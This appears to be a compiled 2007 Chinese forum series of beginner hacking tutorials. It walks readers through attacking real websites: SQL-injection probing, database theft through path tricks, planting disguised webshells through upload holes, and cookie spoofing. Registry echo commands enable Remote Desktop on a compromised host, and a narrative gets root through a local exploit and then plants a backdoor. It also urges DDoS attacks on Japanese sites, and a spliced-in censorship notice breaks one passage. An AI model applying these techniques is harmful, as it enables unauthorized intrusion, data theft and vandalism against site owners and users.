小鸟变大鸟,大鸟变老鸟来不后悔

 日期:2007-11-03 19时


下面是我个人收集的,可能有有些大家都看过!~!给广大菜鸟的~!高手就不用看了~!!希望我没发完大家不要发表意见~!·!好了`


新人0起步接触黑客
《名词介绍》
首先给大家介绍点名词: 1。肉鸡 2。木马 3。病毒 4。后门 5。CRACK 6。漏洞 7。端口 8。权限好了,下面我来具体介绍下。 1。肉鸡: 不是吃的那种,是中了我们的木马,或者留了后门,可以被我们远程操控的机器,现在许多人把有WEBSHELL 权限的机器也叫肉鸡 2。木马:特洛伊木马,大家在电影《特洛伊》里应该看到了,战争是特络伊故意留下了个木马,多方以为是战利品,带回城后,木马里面全是战士,(呵呵,自己看电影吧)这种东西,就叫做木马,可以说木马就是一方给肉鸡留下的东西,可以做到远程控制的目的,木马还分不同的作用,有盗号专 一流信息监控拦截系统(IMB System)








一流信息监控系统提醒您:很抱歉,由于您提交的内容中或访问的内容中含有系统不允许的关键词或者您的IP受到了访问限制,本次操作无效,系统已记录您的IP及您提交的所有数据。请注意,不要提交任何违反国家规定的内容!本次拦截的相关信息为:人权
里我们需要把窗户补上,就叫打补丁了,许多人问过我怎样知道自己的机器有漏洞?怎样打补丁?这里也回答下,首先介绍怎样检查自己奇迹有什么样的漏洞,有款工具简称为MBSA是微软公司针对windows系统的安全检测工具,大家可以去网上找到自己下下来检测下自己机器有什么样的漏洞,还介绍下微软的漏洞名称 MS05-001 MS05-002 这种形式的前面MS应为是微软的意思吧,05呢是2005年,001是在2005年第一个漏洞(不知道解释的对不,自己的理解)大家还可以下个金山毒霸,金山可以有个漏洞检测功能,还可以帮你补上相应的补丁,那么怎么打补丁呢?其实这个很简单,在微软的官方网站里可以输入 MS05-001(假如你有这个漏洞的话)微软就找出了响应的补丁,下载下来 安装下其实就可以了,呵呵,打补丁也不是什么困难的事情哦 7。端口:这个是入侵是很重要的一个环节,端口这个东西就好象是我要买东西,需要在1号窗口来结帐,而开放的1号窗口就好比响应的端口,端口可以形象的比喻成窗口,呵呵,不同的端口开放了不同的服务,大家可以在网上找到端口对照表来看下不同的端口开放的是什么服务 8。权限:这个东西和人权一个效果,我们有自己的权利,但是我们的权利不能超出自己的范围,比如法律可以控制人的生命,这种最高权限呢就是计算机中的 Admin权限 最高权限,法官呢是执行法律的人,比法律底点,这个呢就是SYSTEM权限 系统权限,以下每种人有着自己不同的权限,比如我们得到了个WEBSHELL权限,许多人不知道这个是什么权限,其实就是个WEB(网业)的治理权限,权限一般比较低,但是有时想得到个服务器的ADMIN权限,就可以先丛WEBSHELL权限来入手,也就是长说的提权。
《网站入侵》
昨天大家对黑客名词有了一些了解后我们今天来介绍点别的东西,介绍点入侵时常见的名词和一些入侵的方法,好了不废话了下面开始
首先介绍下什么样的站点可以入侵:必须是动态的网站 比如 asp php jsp 这种形式的站点 后缀为.htm的站点劝大家还是不要入侵了吧(入侵几率几乎为0)
入侵介绍: 1。上传漏洞 2。暴库 3。注入 4。旁注 5。COOKIE诈骗
1:上传漏洞,这个漏洞在DVBBS6.0时代被黑客们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。
怎样利用:在网站的地址栏中网址后加上/upfile.asp假如显示 上传格式不正确[重新上传] 这样的字样8成就是有长传漏洞了找个可以上传的工具直接可以得到WEBSHELL
工具介绍:上传工具 老兵的上传工具 DOMAIN3.5 这两个软件都可以达到上传的目的 用NC也可以提交
WEBSHELL是什么:WEBSHELL在上节课简单的介绍了下,许多人都不理解,这里就具体讲下,其实WEBSHELL并不什么深奥的东西,是个WEB的权限,可以治理WEB,修改主页内容等权限,但是并没有什么非凡高的权限,(这个看治理员的设置了)一般修改别人主页大多都需要这个权限,接触过WEB木马的朋友可能知道(比如老兵的站长助手就是WEB木马 海阳2006也是 WEB木马)我们上传漏洞最终传的就是这个东西,有时碰到权限设置不好的服务器可以通过WEBSHELL得到最高权限。
2。暴库:这个漏洞现在很少见了,但是还有许多站点有这个漏洞可以利用,暴库就是提交字符得到数据库文件,得到了数据库文件我们就直接有了站点的前台或者后台的权限了。
暴库方法:比如一个站的地址为 http://www.xxx.com/dispbbs.asp?boardID=7&ID=161 我门就可以把com/dispbbs中间的/换成\ 假如有漏洞直接得到数据库的绝对路径 用寻雷什么的下载下来就可以了 还有种方法就是利用默认的数据库路径 http://www.xxx.com/ 后面加上 conn.asp 假如没有修改默认的数据库路径也可以得到数据库的路径(注重:这里的/也要换成\)
为什么换成\:因为在ASCII码里/等于\,有时碰到数据库名字为/#abc.mdb的为什么下不了? 这里需要把#号换成#就可以下载了,为什么我暴出的数据库文件是以。ASP结尾的?我该怎么办?这里可以在下载时把。ASP换成。MDB 这样就可以下载了假如还下载不了可能作了防下载。
3。注入漏洞:这个漏洞是现在应用最广泛,杀伤力也很大的漏洞,可以说微软的官方网站也存在着注入漏洞。注入漏洞是因为字符过滤不严禁所造成的,可以得到治理员的帐号密码等相关资料。
怎样利用:我先介绍下怎样找漏洞比如这个网址 http://www.xxx.com/dispbbs.asp?boardID=7&ID=161 后面是以ID=数字形式结尾的站我们可以手动在后面加上个 and 1=1 看看 假如显示正常页面 再加上个and 1=2 来看看 假如返回正常页面说明没有漏洞 假如返回错误页面说明存在注入漏洞。假如加and 1=1 返回错误页面说明也没有漏洞,知道了站点有没有漏洞我门就可以利用了 可以手工来猜解也可以用工具现在工具比较多(NBSI NDSI 啊D DOMAIN等)都可以用来猜解帐号密码,因为是菜鸟接触,我还是建议大家用工具,手工比较烦琐。
4。旁注:我们入侵某站时可能这个站坚固的无懈可击,我们可以找下和这个站同一服务器的站点,然后在利用这个站点用提权,嗅探等方法来入侵我们要入侵的站点。打个形象的比喻, 比如你和我一个楼 我家很安全,而你家呢 却漏洞百出 现在有个贼想入侵我家 他对我家做了监视(也就是扫描)发现没有什么可以利用的东西 那么这个贼发现你家和我家一个楼 你家很轻易就进去了 他可以先进入你家 然后通过你家得到整个楼的钥匙(系统权限) 这样就自然得到我的钥匙了 就可以进入我的家(网站)
工具介绍:还是名小子的DOMIAN3.5不错的东西 ,可以检测注入 可以旁注 还可以上传!
5.COOKIE诈骗:许多人不知道什么是COOKIE,COOKIE是你上网时由网站所为你发送的值记录了你的一些资料,比如IP,姓名什么的。
怎样诈骗呢?假如我们现在已经知道了XX站治理员的站号和MD5密码了 但是破解 不出来密码 (MD5是加密后的一个16位的密码)我们就可以用COOKIE诈骗来实现,把自己的ID修改成治理员的,MD5密码也修改成他的,有工具可以修改COOKIE 这样就答到了COOKIE诈骗的目的,系统以为你就是治理员了。
今天的介绍就到这里了 比较基础,都是概念性的东西,所有的都是我的个人理解,如有不正确的地方希望大家指出(个人认为就是 为什么换成\ 这里有点问题)。
《学习方法》
今天有许多人问我:“我看了你的文章了,但是我是新人,有没有什么学习方法啊?”我回答的是;“当然有啊,不过人和人不同,方法是自己总结出来的,就和我前面文章中介绍的名词一样,都是我在学习中根据自己的经验和对他的熟悉总结出来的。”下面呢我就把我自己的学习经验写出来给大家参考下,大家可以根据我的方法去总结套适合自己的学习方法,这样对我们的进步很有必要,有了一个系统化的方法后,相信进步就不是一个困难的事情了。
初学HACK,首先有几点忠告:
1、就是不要以自己年龄下为借口,我以前一个学生就是学不会东西是就以自己年龄小为学不会的借口,我可以确切的说,年龄小并不是什么缺点,你会长大的,而正因为你年龄下,可以学到的东西才更多。
2、不要什么问题都问,这个也许有人不理解,为什么这么说呢?因为前不久有个文章名字叫《提问的聪明》相信大家都看过了吧(什么?你没有看?倒了,快去看去!)。里面写的东西很值得大家学习,非凡是里面介绍的一个方法,就是把 baidu或google当老师,有问题就问他,相信你在问他的时候比去论坛问别人来的快。
3、不要三天热度,这个我见的很多,身边有许多朋友都是这样的,看到我有点小的成就和想学习HACK,然后学不会就说这个没有意思,这个是一个大错误。不是你学不会,是你懒的学,怕吃苦,哪里有学习3天就成HACKER的人,我是没有见过,许多有成绩的HACKER都是用自己的努力才换来的自己的成绩。还有,学习黑客时一定不能着急,一个问题不能解决时不要放弃,试着用其他方法看能达到自己的目的不,有时为了得到一个服务器权限要让服务器重起,需要等待好几天(除非你DDOS他可能快点)。
好了,下面介绍下学习方法:
1、首先要有本学习材料,大家可以通过《黑客X档案》 《黑客防线》《非安全》还有到我们黑基来学习,有许多人说,看不懂,里面东西太深奥了怎么办?我的回答是:“看不懂也要看,一便不懂看两便,甚至更多,没有人生下来就会走路。再不懂就问。”在我开始学习的时候,是看书,看了一便后一头雾水,什么都不懂,就坚持看下去,看了几个月后,觉得许多东西都自然明白是什么东西了。后来只要看到标题就大概能猜出文章里涉及的内容了。所以看书很必要,但有不能一切都相信书上写的,计算机这门科学是最注重实践的了,看到文章的内容吸引你,就去找个环境实践下吧,有条件要上,没有条件创造条件也要上。
2、就是定向自己要学习的内容,一直坚持的学下去,适当的时候学点其他的,就和大学里没有人有不同的专业一样,主要功自己的专业,然后学习其他的东西,比如你喜欢入侵网站,就多学点脚本。喜欢入侵个人,就学点远程溢出,配置木马什么的。喜欢编程,就选择个自己喜欢的语言学习下去,新人建议学习VB,C/C 也不错。
3、多去论坛看帖子,看自己懂的,不懂的,回答自己懂的问题,因为在你回答自己懂的问题的同时,自己加深了对这个问题的熟悉,因为别人能听懂你说的是什么时才说明你自己真正理解了这个问题。当碰到自己不懂的问题时,先试图自己找出问题的答案,(google啊)然后试着回答这个你自己不懂的问题。
4、多熟悉朋友,因为有的问题解决不了时问下朋友,他可能能帮你解决,因为2个人的思维比一个人的强大点,能考虑到的东西也多了。
5、不要盲目拜师,我不反对拜师,因为我也有师父,也需要拜师。但建议你在拜师前一定要知道你的师父擅长什么,比如你要学入侵个人主机,找了个脚本入侵强的师父当然不行。还有师父只是个指引我们学习的人,所有的东西还是要靠我们自己学习,把不懂的东西找师父一起解决,懂的东西自己多练习,然后不断学习新的知识,否则你讲会被淘汰。

以上就是我对学习的一点建议,今天头脑有点混乱,可能文章写的不太好,希望大家见谅,最后本人希望各位都能展翅高飞,脱离菜鸟!
《绝对暴库》
随着前三篇文章的诞生,大家想必对黑客有了一定的了解了吧,今天就来讲下以前的一个漏洞,但是很经典,现在也有不少网站仍然存在这样的漏洞。就是暴库漏洞。
什么是暴库呢?就是利用不正当的手段使对方把数据库的绝对路经显示出来,然后我门知道了绝对路径,就可以下载下来,这样这个网站的数据库中的资料就被我门轻松把握了。
那么怎么样使用暴库呢?这个在新人2中有介绍,今天就来说说具体的用法。首先要知道怎样才能暴库呢?那就是把网站的第一个/换成\,假如有漏洞就可以直接显示出数据库的绝对路径了,我们把绝对路径中数据库的部分写到网站后面就可以下载数据库了。还有一种方法,就是填写默认的数据库路径,就是conn.asp这样的默认数据库路径,每种形式的论坛,都有自己默认的数据库默认路径,大家去网上随便找找就可以找到了。但是在这个conn.asp默认路径的前面也是要把/换成\的。
为什么暴出来的数据库后缀名是.asp形式的?这个是经过修改的,可能做了防下载处理,大家还是先把默认的路径添上以后看显示什么,假如没有做过防下载处理,会显示一堆乱码,大家可以把地址复制下来用讯雷下载下来,把.asp换成.mdb就可以打开了。
为什么我暴出来数据库路径,也添入了正确的路径下载不下来啊?数据库路径是这样的D:/web/abc/#sjgf.mdb。这个是因为其中有个#在作怪,在ASCII中#相当与00 ,终止的意思,这里大家可以把这个#换成#就可以下载了。
为什么我暴出了数据库,地址什么都写对着呢,还是下不了啊?那么可能是因为数据库做了防下载处理,所以下载不下来。
为什么下载下来的数据库要求输入密码呢?是因为数据库进行了加密,破解很简单,明小子的DOMIAN就有破解功能。
得到数据库有什么用呢?用处大了,比如是个论坛的数据库,里面就记录了所有论坛里的信息,而我们需要的大概是ADMIN的信息吧?呵呵,还=什么呢啊?快去打开数据库中admin的啊,看下ADMIN的用户名,然后在user里把ADMIN的ID找出来,然后就可以以他的身份登陆论坛了哦!
今天就做了暴库的一点问题,大家回来自己联系下。不过现在有暴库漏洞的站很少了,但是作为一种技术我们必须把握!《注入漏洞》
上一节讲了暴库,今天来讲讲注入,现在注入漏洞简直多的和蚂蚁一样,随便找个站,就可能利用注入漏洞得到后台或者WEBSHELL,所以我们怎么能忽视这个漏洞呢?呵呵.下面就是介绍注入漏洞的用法.
在前面介绍过怎样辨别网站有注入漏洞,现在再来讲下,加深下印象,现在举的例子,比如我们检测的是这个站 http://www.123.com/那么我们就先大概浏览下这个站是怎样的一个网站,然后开始检测,我们找个以数字结尾的业面下,比如 http://www.123.com/asd.asp?fid=1&ID=10 象这样的页面(自己编的哈哈)看到这里了么?就是ID=10这个就是数字结尾的,我们就可以在后面加上 and 1=1 看看是否显示正常页面,假如显示正常页面我们就可以在后面继续加上and 1=2 假如显示正常页面,那么说明没有注入漏洞,假如显示错误,(呵呵走运了,有漏洞.)就说明我们可以利用了,但是在and 1=1 时显示错误页面时,说明也没有漏洞.这样我门就判定这个站有没有注入漏洞了.(不过有时在同样一个站下,第一个页面没有漏洞,但是假如你多试几个很有可能能测出来个呢哦.'曾经看到过微软的官方网站有注入漏洞!汗!!')
下面我门知道了怎样判定漏洞,下面就讲讲怎样利用漏洞,因为这个是新人0起步系列,就不讲怎样手工注入了,(因为那样很麻烦的,只要要写上5000字,其中猜表段,猜用户,猜密码等写代码就要写 20行以上!"还是运气好的时候")那么我们怎么办呢?哈哈这个很简单,大家下载个啊D注入工具,或者明小子的 DOMAIN3.5(好象写过好多的明小子的工具,哈哈,免费打广告了!)都可以检测的到注入漏洞的,HDSI NBSI也可以,最早的好象还有绝世猜想.好了工具就介绍到这里了我们就用啊D.
首先在地址栏里输入要注入的网址(废话),啊D 就会自动帮我门检测可能有注入漏洞的注入点,然后右键点检测,啊D就会自动检测了,(原理和手工注入的一摸一样没,只是写成了程序,方便了我们)假如可以注入成功,程序就会自动列出是什么数据库模式的,这里假如是Access数据库的,我们就可以猜解表段了,利用穷举法猜出表段的内容,一般假如测出表段名为ADMIN的就可以点这个来检测这个表段的内容了,然后一般情况下我们就可以检测出password,username这样的表段,最重要的就是这个了,我们点上着两个,然后继续猜解,相信不一会就可以猜解出来了,假如密码是经过MD5加密的一般是什么 动力文章系统 假如不加密的密码一般没有什么用,只能在后台上写点垃圾话,得不到WEBSHELL.
好了就说下加密后的MD5怎么办?当然是破解啊!工具很多,大家找去,(以下介绍下我的破解思路,首先数字破解1分钟,假如没有换小写,破解10分钟,假如没有换小写加数字破解30分钟,这三中是一般人写密码的思路,也有BT的密码,假如以上都没有破出来建议你放弃!除非你非和这个站过不去)运气好的话很快就得到密码了,然后我们点扫描后台地址,一会就列出来了后台地址,前面是绿色小对号的是正常页面,打开后就可以添入我们破解出来的帐号密码了,这样我们就轻松进入了后台了,(这么快?对啊就是这么快!)假如进入了象动力文章这样的后台的话就可以得到WEBSHELL了.(怎么得到?先买个关子,以后会写出来的,只要大家继续支持我)
下面介绍下MSSQL数据库的用发,和前面一样我们先一顿扫描,然后下面数据库里显示MSSQL数据库,或 MSSQL数据库有错误显示,我们这里只说下SA权限的 (什么是SA权限的呢?SA权限是 SYSTEM 和ADMIN的缩写)这里我们可以先DIR下他的目录,然后扫面出站点根目录后就可以写入一句话木马了,再DIR下他的目录看写入没有.假如写入我们就可以利用冰狐浪子的小型木马或者蓝屏大叔的超小木马,来给站点发去大马(海洋啊,老病啊,什么的)这样就得到了WEBSHELL了,哈哈,简单吧
《经典上传漏洞》
大家好啊,好久没有写过文章了,因为最近开学了!没有时间,也不知道写什么好,因为文字说明一些东西不太好写,没有动画那么直接,但是动画又没有什么做头,许多前辈都做过我写的东西的相应动画;不知道前面的注入漏洞大家回用了没有,今天就给大家讲下经典的上传漏洞。
话说从前动网6.0出现了严重的上传漏洞以后,许多站点都被KILL的很悲惨,直到现在一些站点还存在着上传漏洞,所以作为黑客的我们,必须把握这些漏洞,即使是很早以前的漏洞也要知道一二,好了开始正题。
上传漏洞是在一个ASP页面后面输入 upfile.asp 然后看回显,(注重一点:就是在加这个后缀前,把IE中友好显示关了!要不没有效果的!)假如没有显示或者出现个什么“请登陆后使用”这样的呢,就是没有漏洞的拉。那么有漏洞的回显是什么样子的呢? 假如有漏洞你会看到上面有个这样的字
请先选择你要上传的文件 [重新上传] 假如看到这个,80%就是有漏洞的站了! 呵呵,这下好了!有的玩了。
我们现在知道了漏洞,但是怎么利用呢?我们可以听名字来分析下,上传漏洞,当然是上传了啊,我们可以把象海洋2006,老兵站长助手,这样的WEB木马传到站上,这样就有了WEBSHELL了,哈哈!(第一个WEBSHELL哦!)好了,下面讲下怎样上传,这个DOMAIN有上传的功能 我们进入 综合上传 然后点 动网上传漏洞 在提交地址里把站点填上 这里把 upfile.asp 也要放到后面我们的WEB木马就用默认的吧,然后点上传,假如成果就会显示 上传成功! 我们点打开,就可以看到一个暴物理路径的马了,这里在 输入保存路径中 把 本文件绝对路径 中给的地址复制到输入保存路径中 这里注重的是 把里面的 diy.asp换成自己喜欢的.asp 结尾的名字 比如一个路径为
c:\web\oo1\diy.asp 的 我们把里面的.diy换成别的 我喜欢用 openzsk.asp 也可以起个什么诱惑点的名字 conm.asp .mian_admin.asp 什么的 这样的WEBSHELL不轻易被发现 然后在输入马的内容这里把我们的 海洋或者老兵的WEB木马复制进去 (记得要把密码修改了啊!) 然后点保存 就可以! 成果后会出现保存成功的字样 ,呵呵我们就可以登陆我们的WEBSHELL了。
这里在DOMAIN里的其他上传漏洞也是大同小异,一样可以得到WEBSHELL 大家自己研究下就可以了 ,还有就是上传也可以用什么专用上传工具什么的,有了WEBSHEL后,就相当于一个虚拟主机,我们可以修改网站的一些内容,还可以挂马,有爱好的可以提下权,(我的最爱,哈哈!)运气好的话,一台崭新的服务器肉鸡就诞生了!哈哈!永久在线!我们假如有许多的服务器主机的话就发财了!哈哈!去DDOS日本站吧!

黑客必学——开启肉鸡终端全攻略

今天介绍的这种开终端的方法,绿色,环保,无污染~~
  不须上传任何文件开启终端的方法适合win2k,xp,2003.
  本文前提是已经通过某种方法得到了对方的一个SYSTEM权限的CMDSHELL~~
  在无须传任何文件的情况下开启终端服务。
  一、win 2k下终端开启终端
  首先用ECHO写一个3389.reg文件,然后导入到注册表,echo代码如下:
  echo Windows Registry Editor Version 5.00 >>3389.reg
echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
>>3389.reg
  echo "Enabled"="0" >>3389.reg
  echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon] >>3389.reg
  echo "ShutdownWithoutLogon"="0" >>3389.reg
  echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
>>3389.reg
  echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server] >>3389.reg
  echo "TSEnabled"=dword:00000001 >>3389.reg
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
>>3389.reg
  echo "Start"=dword:00000002 >>3389.reg
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
>>3389.reg
  echo "Start"=dword:00000002 >>3389.reg
  echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
  echo "Hotkey"="1" >>3389.reg
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp] >>3389.reg
  echo "PortNumber"=dword:00000D3D >>3389.reg
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp] >>3389.reg
  echo "PortNumber"=dword:00000D3D >>3389.reg
  把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。
  (假如要改变终端端口只须把上面的两个D3D都改一下就可以了)
  因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效。
  一个简单的办法就是用ntsd.exe(win 2k以上自带的命令)结束一个重要的进程就可以实现机器重启了!!
  比如结束winlogon.exe,lsass.exe也可以但结束后会跳出重启倒计时(不太好~)
  winlogon.exe被关闭后机器马上强制重启了
  命令执行格式为ntsd -c q -p PID

菜鸟入侵记


今天好无聊。刚才朋友说有一个SUN OS 5.6的系统搞不定。给我一个用户,让我试。
嗯,很正常的telnet上去
telenet xxx.xxx.xxx.xx
Sun OS 5.6 <Datalib>
login:tomy
passwd:
[tomy@data~]$Last login:Wed ..........(略)
第一个反映看系统:
[tomy@data~]$uname -a
Linux data.iszero.com 2.2.5-15 #1 mon Apr 19: 23:00:46 EDT 1999 i686 unknown
靠…这是哪个国家的SunOS啊?
看样子应该是…嗯Linux,但没人会把Linux的登陆信息改成Sun吧?这好玩?还是……碰到高人?
于是开始对这个系统进行猜解了。
先到/usr下看:)
[tomy@data~]$ls /usr
.... .... ....
... i686-redhat-linux------------------->看到了(基本可以确定它是个redhat),但如何确定linux的版本呢?
内核心很明显已经被重新编译过,并加入一些乱七八糟的东西了。
喔…记得以前找seclpd溢出时常用ftp来猜redhat的版本(wu-2.6.1(1)一般都为redhat 7.0)
试一下
[tomy@data~]$ftp 127.0.0.1
xxx.com FTP Server (Version wuftp-2.4.2.......>Ready
2.4.2是哪个版本的redhat“专利?”谁记得啊?那时候我还没开始用呢?
嗯,只好往下推咯2.6.0 是6.x那2.4.2应该是4.2吧?
找本地溢出
翻遍了整个hack.co.za也没找到一个,本地溢出。http://darknet.isforce.org/也变了样。
唉……难道真的要放弃?
咦,不是说wuftp2.x有远程溢出?
马上开工,很可惜……失败告终。
由于版本没有真正确定,于是傻傻的在网上乱逛。想起以前似乎搞过一个低版本的redhat曾经用过的一个xperl.sh,不知道是不是这个版本的。
于是立马到
http://packetstorm.securify.com
搜索xperl.sh
很不巧该站又进不去,靠…上天是不是在耍我?
再返回hack.co.za去找,反正他们两个站都差不多,只不过http://packetstorm.securify.com多了个搜索的功能罢了,我一个一个来还不行啊?
好不轻易在5.2版中找到了。
唉,照我刚才那么推应该是没戏唱了,是5.2版啊。
试一下。
[tomy@data /tmp]$./xperl.sh
....................
....................
.....................
...................
[tomy@data /tmp]# -------------------->紧张的时候终于来临…一切搞定#终于在眼前一亮…狠狠吸了一口不知道什么时候已经灭了的烟…TNND。
接下来的事,谁都可以想到,无法是开后门,擦PP。
这篇帖子没有具体的说明入侵过程,因为入侵过程就是找溢出,这已经是常见到不能常见的入侵手段。这篇帖子是想告诉那些跟我一样菜的新手,不要轻易放过你手中的任何一个机会:)
狐狸的尾巴终究是藏不住的,在于你是怎么找。
就像这个网站的治理员把telnet的登陆信息改了,却没改FTP的登陆信息(我还没见过用wuftp的SUN系统)。
菜鸟帖子一篇,高手就别笑了:)
假如有更好的办法,说出来大家一起共享:)
黑客技术入门学习方法
一 序言

看到不少刚入门的菜鸟找不到适合自己的hack学习方法,到处碰壁,不但损伤信心和爱好,而且也耽误了不少高贵的时间和金钱,做了许多无用功,到头来毫无收获。
因此我总结了一下我个人的一些学习方法与心得(当然有一些方法也是网上的朋友教我的),希望能给刚入门的朋友一些参考,使其少走弯路。假如您是一只老鸟,觉得这个教程对您毫无帮助,那么请您跳过此教程,究竟不是所有人都像您一样把握了良好的学习方法,那些迷惑中的菜鸟,正需要这样一个教程!
以下序号不分先后,希望大家也能拿出你们自己的心得体会来补充。

二 具体hack学习方法

1 利用搜索引擎
这是一种高效的学习方法,相信每个高手都从这里受益匪浅,这也是菜鸟最好的老师,她随叫随到,言听即从,力量强大。强烈建议大家在碰到问题前,先请教一下www.Google.com

1)公共搜索引擎
比如大名鼎鼎的Google(别告诉我你不知道哟),还有百度等。利用这类搜索引擎,你几乎可以搜到任何你想要的东西,比如:文章,教程,软件,安全站点,安全论坛,一切的一切。
所以以后不要再问诸如3389是什么端口(去搜一下3389 空格 端口 空格 漏洞);流光在哪里下载(去搜流光 空格 工具 空格 下载);ipc$怎样利用(去搜ipc$Content$空格 入侵 空格 教程)等完全可以向搜索引擎请教的问题,假如你非要问一下,没关系,你会得到简单明了的答案:‘去搜!!’请不要埋怨这位高手不耐心,面对千百个这样的菜鸟问题,他这么做已经很人道了。
因此可以看出,把握良好的学习技巧对菜鸟来说是多莫重要,不少菜鸟就是因为像这样到处碰壁后,最终放弃了hack学习。
*不会利用搜索引擎对菜鸟来说是致命的,你将举步为艰,反之,你将进步神速。

2)站点内部/论坛的搜索引擎
使用方法上大同小异,比如你现在需要一篇教程或是一个hack软件,而你又觉得google上搜出来的东西太杂或觉得没有专业性,那么这时候你就可以到各大安全站点或论坛上去搜索,比如www.heibai.net;安全焦点;红客联盟;小榕的论坛;www.20cn.org等,在这些站点的内部引擎里搜到的教程或软件,一般都是比较有保证的。
*假如你是一只想飞的菜鸟,那么就学着去搜索吧。

2 阅读书籍
hack学习中,书籍是必不可少的,这个我不用多少,只是希望大家能有选择的购买书籍,找到最适合自己的那一种。

1)基础知识类:一般来说菜鸟的基础是比较差的,甚至一些基本常识都不知道,因此有几本基础知识的书作为参考是必不可少的,比如关于TCP/IP,网络,操作系统,局域网等,甚至是关于DOS,windows基础的书都是很有必要的。在读书的过程中,你一定会碰到许多不懂的名字或术语,该怎么办呢?白学了??去搜索吧!!
注重:此类书籍要害在于它的通俗易懂性,不要追求多莫深入,对菜鸟来说,急于求成是最要不得的。因为我还是学生,因此学校的图书馆是很好的书源(主要是免费),我几乎借遍了所有hack方面书籍,假如你已经不是学生,建议你到各大图书馆去借,因为这样要比买书不知省多少钱。
*菜鸟预备2-4本即可

2)大众杂志类
此来书籍的精华在于它的合订本,比如电脑报合订本,电脑应用文萃合订本等等,就相当于一个大百科,分类具体,内容丰富,每年买上一两本就足够了,你会从中受益匪浅。
注重:此类书籍的优势在于内容全面,各个方面都能涉及到,查找方便,但因其定位在大众杂志,内容相对比较基础,适合菜鸟做全方位了解。
*菜鸟预备1-2本即可

3)hack杂志类
比如《黑客防线》,《黑客X档案》等,此类杂志专业性强,内容由浅入深,讨论具体,并附送光盘,对比较富裕的朋友来说是个不错的选择,当然,你也可以到网上找一些电子版,下载观看。
注重:这是一种比较好的入门方法,许多朋友都是在无意中买了此类杂志后,才开始对hack技术感爱好的。
*菜鸟不定期购买即可,假如你经济确实不富裕,可以放弃,或找电子版观看


3 察看教程
教程大部分发布于网上,你可以到各大安全站点的文章系统中去找,或者去相关论坛或Google搜索。这是一种令人兴奋的学习方法,一篇好的教程能让你进步飞快,假如你能找到一些专业而又具体的教程,你的hack学习将会事半功倍,因为教程比书籍读起来更亲切,而且语言通俗易懂,寻找方便(假如是书籍,那要买多少本啊),而且他最大的特点在于百家争鸣,对于同一个问题可能有很多的教程,你可以一一观看,从中总结出最精华的部分。
注重:由于任何人都可以发布教程(当然,好的安全站点是有验证机制的),所以一些个别教程并不能保证其正确性,或者不能保证在任何情况下都具有正确性,因此在阅读时要有所取舍。还有,一些老的教程其内容或所涉及软件可能不再适用,请大家注重这点。
另外,现在比较流行动画教程,这种教程的优点在于直观,对菜鸟中的菜鸟帮助很大(许多菜鸟只看的懂动画教程),但我个人更倾向于文字教程,原因:连文字教程都看不懂,还做什么hacker,看动画教程只会让你越来越懒,而不愿再去思考(个人观点)。当然,有些文字教程写得的确很烂,读了以后让人更晕。
*这是菜鸟必须把握而且要会灵活运用的学习方法

4 在论坛上学习/交流
论坛是菜鸟成长必不可少的基石,假如你能找到一个治理严格,技术含量高,布满活力的论坛,那么我真的要祝贺你,因为你将在这个论坛中学到许多许多东西。那么如何使用一个论坛呢?如下:
1)留意精华版:这是一个论坛的精华所在,所有一级棒的帖子几乎都在这里了,慢慢的读吧,你会收获很多。
2)提问前先搜索:这是许多菜鸟忽略的问题,假如你不注重,将浪费你很多时间,原因是这样的:菜鸟一般所提的问题就那么几十个,在一个稍微老一些的论坛上基本上应该都有人提过了,而且是不止一次的提过了,因此你事先搜索一下,应该会搜到不止一篇的帖子,在这些帖子的回复中,应该有你想要的答案,但假如你不去搜索而直接提问,那么你将花费一定的时间去等待回复,这就是浪费,况且大部分高手都反感提问简单而重复的问题,那么你得到的回复也许将更加粗略而潦草,这更是浪费。所以,在提问前恳请你,现搜索一下问题吧!!
3)关注高手的帖子:一个论坛上一定会有几位高手,比如版主之类(至于怎么判定一个高手,就不用我多说了吧),他们的回复不但出色,他们所发的帖子更值得关注,而这是大家经常忽略的问题,所以,在论坛上你可以试着搜一下这位高手的用户名,那么他所有的帖子将展现在你面前,仔细看看吧,高手的帖子就是不一样吧。
4)热点的帖子:一般体现在回复率上,这类帖子并不一定是关于技术的,但他一定是人们现在最关心的(否则哪里会有那么多回复),多看看这类帖子,你将获得更丰富的知识。
5)高效的提问:对于同样的一个问题,不同的提问方式,将会受到不同的效果,能得到你最想要得答案,就是高效的提问。那么如何高效的提问呢?

(1)帖子标题写清楚:像‘快来救我呀’‘谁知道为什么’‘高手请进’这类的帖子,我是很少光顾的,一个好的标题要能概括帖子的主要内容;
(2)内容尽量具体:原因很简单,连问题都说不清楚,谁会帮你,谁能帮你(神仙??);要说明问题出现的环境,不同的环境会有不同的结果;
(3)提问前作最大的努力:请确认你在提问前已经尽了最大努力,但还是没有效果。假如你打算提一些懒人的问题,比如‘我找不到流光的下载,请高手发到我的邮箱好吗’‘谁会net命令呀,教我’,那么所有人将会鄙视你,很难想象懒汉当了hacker会是什么样子;
(4)感谢帮助你的人:这是最起码的作人礼仪。

6)融入论坛:在你的能力范围内,给予他人最大的帮助。
*论坛对菜鸟就像空气一样重要,去找一个适合你的论坛吧。

5 与高手直接交流
这也许是最最高效的学习方法了,能与高手直接交流是一件多么美妙的事情阿,但假如使用不当,也会给自己和对方带来许多不快。
1)假如你与这位高手熟悉甚至是好朋友,那问题很好办,进轻的提问吧,只要不是很过分就行;
